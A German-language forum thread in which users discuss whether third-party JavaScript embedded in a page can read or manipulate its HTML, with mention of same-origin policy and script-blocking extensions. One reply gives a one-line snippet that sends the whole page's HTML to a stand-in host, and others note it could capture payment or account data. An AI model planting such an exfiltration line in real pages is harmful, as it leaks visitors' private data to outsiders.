Christian Zenker: Berechtigungen eingebundener Skripte

Hallo,

ich habe eine eher hypothetische Frage zu den Fähigkeiten von JS.
Angenommen ein unbedarfter Seitenbetreiber bindet via <script> JavaScript-Code einer anderen Seite ein (z.B. Kalender, Shoutbox, Statistik, etc.). Ist es theoretisch möglich, dass dieser Dienst-Anbieter über das JavaScript den HTML-Quelltext der kompletten Seite ausliest bzw. manipuliert? Oder gibt es dagegen Sicherheitsmechanismen in JavaScript bzw. dem Browser?

Christian.

  1. Hi,

    Angenommen ein unbedarfter Seitenbetreiber bindet via <script> JavaScript-Code einer anderen Seite ein (z.B. Kalender, Shoutbox, Statistik, etc.). Ist es theoretisch möglich, dass dieser Dienst-Anbieter über das JavaScript den HTML-Quelltext der kompletten Seite ausliest bzw. manipuliert?

    ja und ja.

    Oder gibt es dagegen Sicherheitsmechanismen in JavaScript bzw. dem Browser?

    Die Manipulation des DOM-Trees ist oft genug der Zweck solcher Scripts. Ihn dazu auszulesen könnte unumgänglich sein. Und schon mit einem "new Image().src='//example.com/tracker?code='+escape(document.documentElement.innerHTML)"  hätte der Anbieter im Prinzip den Quellcode. Nur wozu?

    Cheatah

    --
    X-Self-Code: sh:( fo:} ch:~ rl:| br:> n4:& ie:% mo:) va:) de:] zu:) fl:{ ss:) ls:~ js:|
    X-Self-Code-Url: http://emmanuel.dammerer.at/selfcode.html
    X-Will-Answer-Email: No
    X-Please-Search-Archive-First: Absolutely Yes
    1. Die Manipulation des DOM-Trees ist oft genug der Zweck solcher Scripts. Ihn dazu auszulesen könnte unumgänglich sein. Und schon mit einem "new Image().src='//example.com/tracker?code='+escape(document.documentElement.innerHTML)"  hätte der Anbieter im Prinzip den Quellcode. Nur wozu?

      um um zb warenkorbdaten bei nicht gesicherten verbindungen auszulesen "bitte prüfen sie nochmal ihre angaben: bankverbindung foo, kreditkartennummer bar" ;)

      1. Hi,

        um um zb warenkorbdaten bei nicht gesicherten verbindungen auszulesen "bitte prüfen sie nochmal ihre angaben: bankverbindung foo, kreditkartennummer bar" ;)

        touché :-)

        Cheatah

        --
        X-Self-Code: sh:( fo:} ch:~ rl:| br:> n4:& ie:% mo:) va:) de:] zu:) fl:{ ss:) ls:~ js:|
        X-Self-Code-Url: http://emmanuel.dammerer.at/selfcode.html
        X-Will-Answer-Email: No
        X-Please-Search-Archive-First: Absolutely Yes
      2. Genau um sowas geht es - Sachen, die außer mir und dem Seitenbetreiber niemand sehen sollte. Ich dachte eher an Einstellungen im eigenen Benutzerkonto (also Namen, Adressen, E-Mail), die ja üblicherweise nicht extra gesichert übertragen werden. Aber prinzipiell wären da auch andere Anwendungen denkbar (ersetzen geschalteter Werbung durch eigene, Platzieren von Falschinformation).

        Danke euch für eure schnelle Hilfe.

        Christian.

  2. Ist es theoretisch möglich, dass dieser Dienst-Anbieter über das JavaScript den HTML-Quelltext der kompletten Seite ausliest bzw. manipuliert? Oder gibt es dagegen Sicherheitsmechanismen in JavaScript bzw. dem Browser?

    ja es ist auch praktisch möglich - siehe zb google analytics ;)

    sicherheitsmechanismen (same origin) greifen in diesem fall nicht, da das javascript ja vom seitenautor "bewusst" eingebunden wird - es gibt aber durchaus browsererweiterungen die externe scripte blockieren (adblock usw)